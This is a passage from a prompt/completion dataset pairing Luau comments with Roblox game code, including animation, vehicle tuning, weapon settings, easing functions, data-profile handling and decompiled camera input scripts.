game:GetService(\"ReplicatedStorage\")\nlocal EventSequencer = require(replicatedStorage:WaitForChild(\"EventSequencer\"))\nlocal scenesFolder = replicatedStorage:WaitForChild(\"SequencerScenes\")\n\n\nlocal PSV_SCENE = scenesFolder:WaitForChild(\"PreShowVenue\")\nlocal SHOW_SCENES = {\n\tscenesFolder:WaitForChild(\"Track1\"),\n\tscenesFolder:WaitForChild(\"Track2\"),\n}\n\nlocal year = 2023\nlocal month = 9\nlocal day = 22\nlocal hour = 12\nlocal minute = 0\nlocal second = 0\nlocal millisecond = 69"} +{"prompt": "-- Coroutine runner that we create coroutines of. The coroutine can be\n-- repeatedly resumed with functions to run followed by the argument to run\n-- them with.", "completion": "\nlocal function runEventHandlerInFreeThread(...)\n\tacquireRunnerThreadAndCallEventHandler(...)\n\twhile true do\n\t\tacquireRunnerThreadAndCallEventHandler(coroutine.yield())\n\tend\nend\n"} +{"prompt": "-- If in-game, enable ctrl hotkeys for cloning and deleting", "completion": "\nif Mode == 'Tool' then\n\tAssignHotkey({ 'LeftControl', 'C' }, CloneSelection);\n\tAssignHotkey({ 'RightControl', 'C' }, CloneSelection);\n\tAssignHotkey({ 'LeftControl', 'X' }, DeleteSelection);\n\tAssignHotkey({ 'RightControl', 'X' }, DeleteSelection);\nend;\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\n\t\tlocal repeatAnim = currentAnim\n\t\t-- return to idle if finishing an emote\n\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\trepeatAnim = \"idle\"\n\t\tend\n\n\t\tlocal animSpeed = currentAnimSpeed\n\t\tplayAnimation(repeatAnim, 0.0, Humanoid)\n\t\tsetAnimationSpeed(animSpeed)\n\tend\nend\n"} +{"prompt": "--- Sets whether the command is in a valid state or not.\n-- Cannot submit if in invalid state.", "completion": "\nfunction Window:SetIsValidInput(isValid, errorText)\n\tEntry.TextBox.TextColor3 = isValid and Color3.fromRGB(255, 255, 255) or Color3.fromRGB(255, 73, 73)\n\tself.Valid = isValid\n\tself._errorText = errorText\nend\n"} +{"prompt": "--[[**\n\tensures Roblox Region3 type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Region3 = primitive(\"Region3\")\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nTool = script.Parent\n\nlocal equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass\nlocal gravity = .75 -- things float at > 1\n\nlocal ghostEffect = nil\nlocal massCon1 = nil\nlocal massCon2 = nil\n\n\nlocal head = nil\nfunction recursiveGetLift(node)\n\tlocal m = 0\n\tlocal c = node:GetChildren()\n\tif (node:FindFirstChild(\"Head\") ~= nil) then head = node:FindFirstChild(\"Head\") end -- nasty hack to detect when your parts get blown off\n\n\tfor i=1,#c do\n\t\tif c[i].className == \"Part\" then\t\n\t\t\tif (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS\n\t\t\t\tif c[i].Name == \"Handle\" then\n\t\t\t\t\tm = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height\n\t\t\t\telse\n\t\t\t\t\tm = m + (c[i]:GetMass() * equalizingForce * gravity)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tm = m + recursiveGetLift(c[i])\n\tend\n\treturn m\nend\n\n\nfunction onMassChanged(child, char)\n\tprint(\"Mass changed:\" .. child.Name .. \" \" .. char.Name)\n\tif (ghostEffect ~= nil) then\n\t\tghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)\n\tend\nend\n\n\n\nfunction UpdateGhostState(isUnequipping)\n\n\tif isUnequipping == true then\n\t\tghostEffect:Remove()\n\t\tghostEffect = nil\n\t\tmassCon1:disconnect()\n\t\tmassCon2:disconnect()\n\telse\n\t\tif ghostEffect == nil then\n\t\t\tlocal char = Tool.Parent\n\t\t\tif char == nil then return end\n\t\t\tghostEffect = Instance.new(\"BodyForce\")\n\t\t\tghostEffect.Name = \"GravityCoilEffect\"\n\t\t\tghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)\n\t\t\tghostEffect.Parent = char.Head\n\t\t\tghostChar = char\n\t\t\tmassCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)\n\t\t\tmassCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)\n\t\tend\n\tend\n\t\n\nend\n\n\n\nfunction onEquipped()\n\tTool.Handle.CoilSound:Play()\n\tUpdateGhostState(false)\nend\n\nfunction onUnequipped()\n\tUpdateGhostState(true)\nend\n\n\nscript.Parent.Equipped:connect(onEquipped)\nscript.Parent.Unequipped:connect(onUnequipped)\n\n\n\n\n"} +{"prompt": "--Edited by Stickmasterluke", "completion": "\n\nTool=script.Parent\n\nenabled = true\nfunction onButton1Down(mouse)\n\tif not enabled then\n\t\treturn\n\tend\n\n\tenabled = false\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\twait(.5)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\n\nend\n\nflyen = true\nfunction onEquippedLocal(mouse)\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\t\n\tmouse.KeyDown:connect(function(key)\n\t\tif key == \"e\" and flyen then\n\t\t\tflyen = false\n\t\t\tchar = Tool.Parent\n\t\t\tchar.Torso.Velocity = char.Torso.Velocity + Vector3.new(0,80,0) + (char.Torso.CFrame.lookVector * 80) \n\t\t\twait(0.5)\n\t\t\tflyen = true \n\t\tend\n\tend)\n\t\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\nend\n\n\nTool.Equipped:connect(onEquippedLocal)\n\nwait(1) \n"} +{"prompt": "--[[ << MODIFY COMMANDS >>\nThis allows you to change the permission type required to use a command\nFormat: [\"CommandName\"] = \"PermissionName\" ;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "\nModifiedCommands={\n\t[\"fly\"] = \"Mod\" ; -- This changes the command so that Mods (or above) can use it\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;Version = 1.3;--[[Don't edit this, otherwise the commands may break]]}\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 100;\n\tStoredAmmo = 30;\n\tMagCount = 6; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 3;\n\t"} +{"prompt": "-- Handle joining general channel first.", "completion": "\nfor i, channelData in pairs(initData.Channels) do\n\tif channelData[1] == ChatSettings.GeneralChannelName then\n\t\tHandleChannelJoined(channelData[1], channelData[2], channelData[3], channelData[4], true, false)\n\tend\nend\n\nfor i, channelData in pairs(initData.Channels) do\n\tif channelData[1] ~= ChatSettings.GeneralChannelName then\n\t\tHandleChannelJoined(channelData[1], channelData[2], channelData[3], channelData[4], true, false)\n\tend\nend\n\nreturn moduleApiTable\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 56\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 40\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .04\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.04\t\t,\n\t\t--[[ 3 ]]\t\t1.38\t\t,\n\t\t--[[ 4 ]]\t\t1.03\t\t,\n\t\t--[[ 5 ]]\t\t0.81\t\t,\n\t\t--[[ 6 ]]\t\t0.64\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {\n\tName = \"hover\", \n\tDescription = \"Returns the name of the player you are hovering over.\", \n\tGroup = \"DefaultUtil\", \n\tArgs = {}\n};\nlocal l__Players__1 = game:GetService(\"Players\");\nfunction v1.ClientRun()\n\tlocal l__Target__2 = l__Players__1.LocalPlayer:GetMouse().Target;\n\tif not l__Target__2 then\n\t\treturn \"\";\n\tend;\n\tlocal v3 = l__Players__1:GetPlayerFromCharacter(l__Target__2:FindFirstAncestorOfClass(\"Model\"));\n\treturn v3 and v3.Name or \"\";\nend;\nreturn v1;\n"} +{"prompt": "-- Profile object:", "completion": "\n\nlocal Profile = {\n\t--[[\n\t\tData = {}, -- [table] -- Loaded once after ProfileStore:LoadProfileAsync() finishes\n\t\tMetaData = {}, -- [table] -- Updated with every auto-save\n\t\tGlobalUpdates = GlobalUpdates, -- [GlobalUpdates]\n\t\t\n\t\t_profile_store = ProfileStore, -- [ProfileStore]\n\t\t_profile_key = \"\", -- [string]\n\t\t\n\t\t_release_listeners = [ScriptSignal] / nil, -- [table / nil]\n\t\t_hop_ready_listeners = [ScriptSignal] / nil, -- [table / nil]\n\t\t_hop_ready = false,\n\t\t\n\t\t_view_mode = true / nil, -- [bool] or nil\n\t\t\n\t\t_load_timestamp = os.clock(),\n\t\t\n\t\t_is_user_mock = false, -- ProfileStore.Mock\n\t\t_mock_key_info = {},\n\t--]]\n}\nProfile.__index = Profile\n\nfunction Profile:IsActive() --> [bool]\n\tlocal loaded_profiles = self._is_user_mock == true and self._profile_store._mock_loaded_profiles or self._profile_store._loaded_profiles\n\treturn loaded_profiles[self._profile_key] == self\nend\n\nfunction Profile:GetMetaTag(tag_name) --> value\n\tlocal meta_data = self.MetaData\n\tif meta_data == nil then\n\t\treturn nil\n\t\t-- error(\"[ProfileService]: This Profile hasn't been loaded before - MetaData not available\")\n\tend\n\treturn self.MetaData.MetaTags[tag_name]\nend\n\nfunction Profile:SetMetaTag(tag_name, value)\n\tif type(tag_name) ~= \"string\" then\n\t\terror(\"[ProfileService]: tag_name must be a string\")\n\telseif string.len(tag_name) == 0 then\n\t\terror(\"[ProfileService]: Invalid tag_name\")\n\tend\n\tself.MetaData.MetaTags[tag_name] = value\nend\n\nfunction Profile:Reconcile()\n\tReconcileTable(self.Data, self._profile_store._profile_template)\nend\n\nfunction Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil)\n\tif type(listener) ~= \"function\" then\n\t\terror(\"[ProfileService]: Only a function can be set as listener in Profile:ListenToRelease()\")\n\tend\n\tif self._view_mode == true then\n\t\treturn {Disconnect = function() end}\n\tend\n\tif self:IsActive() == false then\n\t\t-- Call release listener immediately if profile is expired\n\t\tlocal place_id\n\t\tlocal game_job_id\n\t\tlocal active_session = self.MetaData.ActiveSession\n\t\tif active_session ~= nil then\n\t\t\tplace_id = active_session[1]\n\t\t\tgame_job_id = active_session[2]\n\t\tend\n\t\tlistener(place_id, game_job_id)\n\t\treturn {Disconnect = function() end}\n\telse\n\t\treturn self._release_listeners:Connect(listener)\n\tend\nend\n\nfunction Profile:Save()\n\tif self._view_mode == true then\n\t\terror(\"[ProfileService]: Can't save Profile in view mode - Should you be calling :OverwriteAsync() instead?\")\n\tend\n\tif self:IsActive() == false then\n\t\twarn(\"[ProfileService]: Attempted saving an inactive profile \"\n\t\t\t.. self:Identify() .. \"; Traceback:\\n\" .. debug.traceback())\n\t\treturn\n\tend\n\t-- Reject save request if a save is already pending in the queue - this will prevent the user from\n\t--\tunecessary API request spam which we could not meaningfully execute anyways!\n\tif IsCustomWriteQueueEmptyFor(self._profile_store._profile_store_lookup, self._profile_key) == true then\n\t\t-- We don't want auto save to trigger too soon after manual saving - this will reset the auto save timer:\n\t\tRemoveProfileFromAutoSave(self)\n\t\tAddProfileToAutoSave(self)\n\t\t-- Call save function in a new thread:\n\t\ttask.spawn(SaveProfileAsync, self)\n\tend\nend\n\nfunction Profile:Release()\n\tif self._view_mode == true then\n\t\treturn\n\tend\n\tif self:IsActive() == true then\n\t\ttask.spawn(SaveProfileAsync, self, true) -- Call save function in a new thread with release_from_session = true\n\tend\nend\n\nfunction Profile:ListenToHopReady(listener) --> [ScriptConnection] ()\n\tif type(listener) ~= \"function\" then\n\t\terror(\"[ProfileService]: Only a function can be set as listener in Profile:ListenToHopReady()\")\n\tend\n\tif self._view_mode == true then\n\t\treturn {Disconnect = function() end}\n\tend\n\tif self._hop_ready == true then\n\t\ttask.spawn(listener)\n\t\treturn {Disconnect = function() end}\n\telse\n\t\treturn self._hop_ready_listeners:Connect(listener)\n\tend\nend\n\nfunction Profile:AddUserId(user_id) -- Associates user_id with profile (GDPR compliance)\n\n\tif type(user_id) ~= \"number\" or user_id % 1 ~= 0 then\n\t\twarn(\"[ProfileService]: Invalid UserId argument for :AddUserId() (\"\n\t\t\t.. tostring(user_id) .. \"); Traceback:\\n\" .. debug.traceback())\n\t\treturn\n\tend\n\n\tif user_id < 0 and self._is_user_mock ~= true and UseMockDataStore ~= true then\n\t\treturn -- Avoid giving real Roblox APIs negative UserId's\n\tend\n\n\tif table.find(self.UserIds, user_id) == nil then\n\t\ttable.insert(self.UserIds, user_id)\n\tend\n\t\nend\n\nfunction Profile:RemoveUserId(user_id) -- Unassociates user_id with profile (safe function)\n\n\tif type(user_id) ~= \"number\" or user_id % 1 ~= 0 then\n\t\twarn(\"[ProfileService]: Invalid UserId argument for :RemoveUserId() (\"\n\t\t\t.. tostring(user_id) .. \"); Traceback:\\n\" .. debug.traceback())\n\t\treturn\n\tend\n\t\n\tlocal index = table.find(self.UserIds, user_id)\n\n\tif index ~= nil then\n\t\ttable.remove(self.UserIds, index)\n\tend\n\nend\n\nfunction Profile:Identify() --> [string]\n\treturn IdentifyProfile(\n\t\tself._profile_store._profile_store_name,\n\t\tself._profile_store._profile_store_scope,\n\t\tself._profile_key\n\t)\nend\n\nfunction Profile:ClearGlobalUpdates() -- Clears all global updates data from a profile payload\n\n\tif self._view_mode ~= true then\n\t\terror(\"[ProfileService]: :ClearGlobalUpdates() can only be used in view mode\")\n\tend\n\n\tlocal global_updates_object = {\n\t\t_updates_latest = {0, {}},\n\t\t_profile = self,\n\t}\n\tsetmetatable(global_updates_object, GlobalUpdates)\n\n\tself.GlobalUpdates = global_updates_object\n\nend\n\nfunction Profile:OverwriteAsync() -- Saves the profile to the DataStore and removes the session lock\n\n\tif self._view_mode ~= true then\n\t\terror(\"[ProfileService]: :OverwriteAsync() can only be used in view mode\")\n\tend\n\n\tSaveProfileAsync(self, nil, true)\n\nend\n"} +{"prompt": "--These scripts are not mine, I just simply edited them.", "completion": "\n\n"} +{"prompt": "-- This screenGui exists so that the billboardGui is not deleted when the PlayerGui is reset.", "completion": "\nlocal BubbleChatScreenGui = Instance.new(\"ScreenGui\")\nBubbleChatScreenGui.Name = \"BubbleChat\"\nBubbleChatScreenGui.ResetOnSpawn = false\nBubbleChatScreenGui.Parent = PlayerGui\n"} +{"prompt": "-- a: amplitud\n-- p: period", "completion": "\nlocal function outInElastic(t, b, c, d, a, p)\n if t < d / 2 then\n return outElastic(t * 2, b, c / 2, d, a, p)\n else\n return inElastic((t * 2) - d, b + c / 2, c / 2, d, a, p)\n end\nend\n\nlocal function inBack(t, b, c, d, s)\n if not s then s = 1.70158 end\n t = t / d\n return c * t * t * ((s + 1) * t - s) + b\nend\n\nlocal function outBack(t, b, c, d, s)\n if not s then s = 1.70158 end\n t = t / d - 1\n return c * (t * t * ((s + 1) * t + s) + 1) + b\nend\n\nlocal function inOutBack(t, b, c, d, s)\n if not s then s = 1.70158 end\n s = s * 1.525\n t = t / d * 2\n if t < 1 then\n return c / 2 * (t * t * ((s + 1) * t - s)) + b\n else\n t = t - 2\n return c / 2 * (t * t * ((s + 1) * t + s) + 2) + b\n end\nend\n\nlocal function outInBack(t, b, c, d, s)\n if t < d / 2 then\n return outBack(t * 2, b, c / 2, d, s)\n else\n return inBack((t * 2) - d, b + c / 2, c / 2, d, s)\n end\nend\n\nlocal function outBounce(t, b, c, d)\n t = t / d\n if t < 1 / 2.75 then\n return c * (7.5625 * t * t) + b\n elseif t < 2 / 2.75 then\n t = t - (1.5 / 2.75)\n return c * (7.5625 * t * t + 0.75) + b\n elseif t < 2.5 / 2.75 then\n t = t - (2.25 / 2.75)\n return c * (7.5625 * t * t + 0.9375) + b\n else\n t = t - (2.625 / 2.75)\n return c * (7.5625 * t * t + 0.984375) + b\n end\nend\n\nlocal function inBounce(t, b, c, d)\n return c - outBounce(d - t, 0, c, d) + b\nend\n\nlocal function inOutBounce(t, b, c, d)\n if t < d / 2 then\n return inBounce(t * 2, 0, c, d) * 0.5 + b\n else\n return outBounce(t * 2 - d, 0, c, d) * 0.5 + c * .5 + b\n end\nend\n\nlocal function outInBounce(t, b, c, d)\n if t < d / 2 then\n return outBounce(t * 2, b, c / 2, d)\n else\n return inBounce((t * 2) - d, b + c / 2, c / 2, d)\n end\nend\n\nreturn {\n linear = linear,\n inQuad = inQuad,\n outQuad = outQuad,\n inOutQuad = inOutQuad,\n inCubic = inCubic ,\n outCubic = outCubic,\n inOutCubic = inOutCubic,\n outInCubic = outInCubic,\n inQuart = inQuart,\n outQuart = outQuart,\n inOutQuart = inOutQuart,\n outInQuart = outInQuart,\n inQuint = inQuint,\n outQuint = outQuint,\n inOutQuint = inOutQuint,\n outInQuint = outInQuint,\n inSine = inSine,\n outSine = outSine,\n inOutSine = inOutSine,\n outInSine = outInSine,\n inExpo = inExpo,\n outExpo = outExpo,\n inOutExpo = inOutExpo,\n outInExpo = outInExpo,\n inCirc = inCirc,\n outCirc = outCirc,\n inOutCirc = inOutCirc,\n outInCirc = outInCirc,\n inElastic = inElastic,\n outElastic = outElastic,\n inOutElastic = inOutElastic,\n outInElastic = outInElastic,\n inBack = inBack,\n outBack = outBack,\n inOutBack = inOutBack,\n outInBack = outInBack,\n inBounce = inBounce,\n outBounce = outBounce,\n inOutBounce = inOutBounce,\n outInBounce = outInBounce,\n}\n"} +{"prompt": "--function configureAnimationSetOld(name, fileList)\n--\tif (animTable[name] ~= nil) then\n--\t\tfor _, connection in pairs(animTable[name].connections) do\n--\t\t\tconnection:Disconnect()\n--\t\tend\n--\tend\n--\tanimTable[name] = {}\n--\tanimTable[name].count = 0\n--\tanimTable[name].totalWeight = 0\t\n--\tanimTable[name].connections = {}", "completion": "\n"} +{"prompt": "--[[\n\tSaved profile structure:\n\t\n\tDataStoreProfile = {\n\t\tData = {},\n\t\tMetaData = {\n\t\t\tProfileCreateTime = 0,\n\t\t\tSessionLoadCount = 0,\n\t\t\tActiveSession = {place_id, game_job_id} / nil,\n\t\t\tForceLoadSession = {place_id, game_job_id} / nil,\n\t\t\tMetaTags = {},\n\t\t\tLastUpdate = 0, -- os.time()\n\t\t},\n\t\tGlobalUpdates = {\n\t\t\tupdate_index,\n\t\t\t{\n\t\t\t\t{update_id, version_id, update_locked, update_data},\n\t\t\t\t...\n\t\t\t}\n\t\t},\n\t}\n\t\n\tOR\n\t\n\tDataStoreProfile = {\n\t\tGlobalUpdates = {\n\t\t\tupdate_index,\n\t\t\t{\n\t\t\t\t{update_id, version_id, update_locked, update_data},\n\t\t\t\t...\n\t\t\t}\n\t\t},\n\t}\n--]]", "completion": "\n"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween\n\tAimZoom = 60; -- Default zoom\n\tAimSpeed = 0.23;\n\tUnaimSpeed = 0.23;\n\tCycleAimZoom = 55; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__ContextActionService__1 = game:GetService(\"ContextActionService\");\nlocal l__UserInputService__2 = game:GetService(\"UserInputService\");\nlocal l__RunService__3 = game:GetService(\"RunService\");\nlocal l__UserGameSettings__4 = UserSettings():GetService(\"UserGameSettings\");\nlocal l__LocalPlayer__5 = game:GetService(\"Players\").LocalPlayer;\nlocal v6 = math.rad(120);\nlocal v7 = Vector2.new(1, 0.77) * math.rad(0.5);\nlocal v8 = Vector2.new(1, 0.77) * math.rad(7);\nlocal v9 = Vector2.new(1, 0.66) * math.rad(1);\nlocal v10 = Vector2.new(1, 0.77) * math.rad(4);\nlocal v11 = Instance.new(\"BindableEvent\");\nlocal v12 = Instance.new(\"BindableEvent\");\nlocal u1 = v11;\nl__UserInputService__2.InputBegan:Connect(function(p1, p2)\n\tif not p2 and p1.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\tu1:Fire();\n\tend;\nend);\nlocal u2 = v12;\nl__UserInputService__2.InputEnded:Connect(function(p3, p4)\n\tif p3.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\tu2:Fire();\n\tend;\nend);\nu1 = nil;\nu1 = function(p5)\n\treturn math.sign(p5) * math.clamp((math.exp(2 * ((math.abs(p5) - 0.1) / 0.9)) - 1) / (math.exp(2) - 1), 0, 1);\nend;\nu2 = function(p6)\n\tlocal l__CurrentCamera__13 = workspace.CurrentCamera;\n\tif not l__CurrentCamera__13 then\n\t\treturn p6;\n\tend;\n\tlocal v14 = l__CurrentCamera__13.CFrame:ToEulerAnglesYXZ();\n\tif p6.Y * v14 >= 0 then\n\t\treturn p6;\n\tend;\n\treturn Vector2.new(1, (1 - (2 * math.abs(v14) / math.pi) ^ 0.75) * 0.75 + 0.25) * p6;\nend;\nlocal u3 = 0.016666666666666666;\nl__RunService__3.Stepped:Connect(function(p7, p8)\n\tu3 = p8;\nend);\nlocal v15 = {};\nlocal u4 = 0;\nlocal v16 = Instance.new(\"BindableEvent\");\nv15.gamepadZoomPress = v16.Event;\nlocal u5 = {\n\tThumbstick2 = Vector2.new()\n};\nfunction v15.getRotationActivated()\n\tlocal v17 = true;\n\tif not (u4 > 0) then\n\t\tv17 = u5.Thumbstick2.Magnitude > 0;\n\tend;\n\treturn v17;\nend;\nlocal u6 = {\n\tLeft = 0, \n\tRight = 0, \n\tI = 0, \n\tO = 0\n};\nlocal u7 = {\n\tMovement = Vector2.new(), \n\tWheel = 0, \n\tPan = Vector2.new(), \n\tPinch = 0\n};\nlocal u8 = {\n\tMove = Vector2.new(), \n\tPinch = 0\n};\nfunction v15.getRotation(p9)\n\tlocal v18 = Vector2.new(1, l__UserGameSettings__4:GetCameraYInvertValue());\n\tlocal v19 = Vector2.new(u6.Right - u6.Left, 0) * u3;\n\tif p9 then\n\t\tv19 = Vector2.new();\n\tend;\n\treturn (v19 * v6 + u5.Thumbstick2 * v10 + u7.Movement * v7 + u7.Pan * v8 + u2(u8.Move) * v9) * v18;\nend;\nfunction v15.getZoomDelta()\n\treturn (u6.O - u6.I) * 0.1 + (-u7.Wheel + u7.Pinch) * 1 + -u8.Pinch * 0.04;\nend;\nlocal u9 = nil;\nlocal function u10(p10)\n\tlocal v20 = l__LocalPlayer__5:FindFirstChildOfClass(\"PlayerGui\");\n\tlocal v21 = v20 and v20:FindFirstChild(\"TouchGui\");\n\tlocal v22 = v21 and v21:FindFirstChild(\"TouchControlFrame\");\n\tlocal v23 = v22 and v22:FindFirstChild(\"DynamicThumbstickFrame\");\n\tif not v23 then\n\t\treturn false;\n\tend;\n\tif not v21.Enabled then\n\t\treturn false;\n\tend;\n\tlocal l__AbsolutePosition__24 = v23.AbsolutePosition;\n\tlocal v25 = l__AbsolutePosition__24 + v23.AbsoluteSize;\n\tlocal v26 = false;\n\tif l__AbsolutePosition__24.X <= p10.X then\n\t\tv26 = false;\n\t\tif l__AbsolutePosition__24.Y <= p10.Y then\n\t\t\tv26 = false;\n\t\t\tif p10.X <= v25.X then\n\t\t\t\tv26 = p10.Y <= v25.Y;\n\t\t\tend;\n\t\tend;\n\tend;\n\treturn v26;\nend;\nlocal function u11()\n\tu4 = math.max(0, u4 + 1);\nend;\nlocal u12 = {};\nlocal u13 = nil;\nlocal function u14()\n\tu4 = math.max(0, u4 - 1);\nend;\nlocal function u15(p11, p12)\n\tassert(p11.UserInputType == Enum.UserInputType.Touch);\n\tassert(p11.UserInputState == Enum.UserInputState.Begin);\n\tif u9 == nil and u10(p11.Position) and not p12 then\n\t\tu9 = p11;\n\t\treturn;\n\tend;\n\tif not p12 then\n\t\tu11();\n\tend;\n\tu12[p11] = p12;\nend;\nlocal function u16(p13, p14)\n\tassert(p13.UserInputType == Enum.UserInputType.Touch);\n\tassert(p13.UserInputState == Enum.UserInputState.Change);\n\tif p13 == u9 then\n\t\treturn;\n\tend;\n\tif u12[p13] == nil then\n\t\tu12[p13] = p14;\n\tend;\n\tlocal v27 = {};\n\tfor v28, v29 in pairs(u12) do\n\t\tif not v29 then\n\t\t\ttable.insert(v27, v28);\n\t\tend;\n\tend;\n\tif #v27 == 1 and u12[p13] == false then\n\t\tlocal l__Delta__30 = p13.Delta;\n\t\tu8.Move = Vector2.new(l__Delta__30.X, l__Delta__30.Y);\n\tend;\n\tif #v27 ~= 2 then\n\t\tu13 = nil;\n\t\treturn;\n\tend;\n\tlocal l__Magnitude__31 = (v27[1].Position - v27[2].Position).Magnitude;\n\tif u13 then\n\t\tu8.Pinch = l__Magnitude__31 - u13;\n\tend;\n\tu13 = l__Magnitude__31;\nend;\nlocal function u17(p15)\n\tlocal l__Delta__32 = p15.Delta;\n\tu7.Movement = Vector2.new(l__Delta__32.X, l__Delta__32.Y);\nend;\nlocal function u18(p16, p17)\n\tassert(p16.UserInputType == Enum.UserInputType.Touch);\n\tassert(p16.UserInputState == Enum.UserInputState.End);\n\tif p16 == u9 then\n\t\tu9 = nil;\n\tend;\n\tif u12[p16] == false then\n\t\tu13 = nil;\n\t\tu14();\n\tend;\n\tu12[p16] = nil;\nend;\nlocal u19 = false;\nlocal function u20()\n\tfor v33, v34 in pairs({ u5, u6, u7, u8 }) do\n\t\tfor v35, v36 in pairs(v34) do\n\t\t\tif type(v36) == \"boolean\" then\n\t\t\t\tv34[v35] = false;\n\t\t\telse\n\t\t\t\tv34[v35] = v34[v35] * 0;\n\t\t\tend;\n\t\tend;\n\tend;\nend;\nlocal function u21()\n\tu12 = {};\n\tu9 = nil;\n\tu13 = nil;\nend;\nlocal function u22(p18, p19, p20)\n\tlocal l__Position__37 = p20.Position;\n\tu5[p20.KeyCode.Name] = Vector2.new(u1(l__Position__37.X), -u1(l__Position__37.Y));\nend;\nlocal l__Value__23 = Enum.ContextActionPriority.Default.Value;\nlocal function u24(p21, p22, p23)\n\tif p22 == 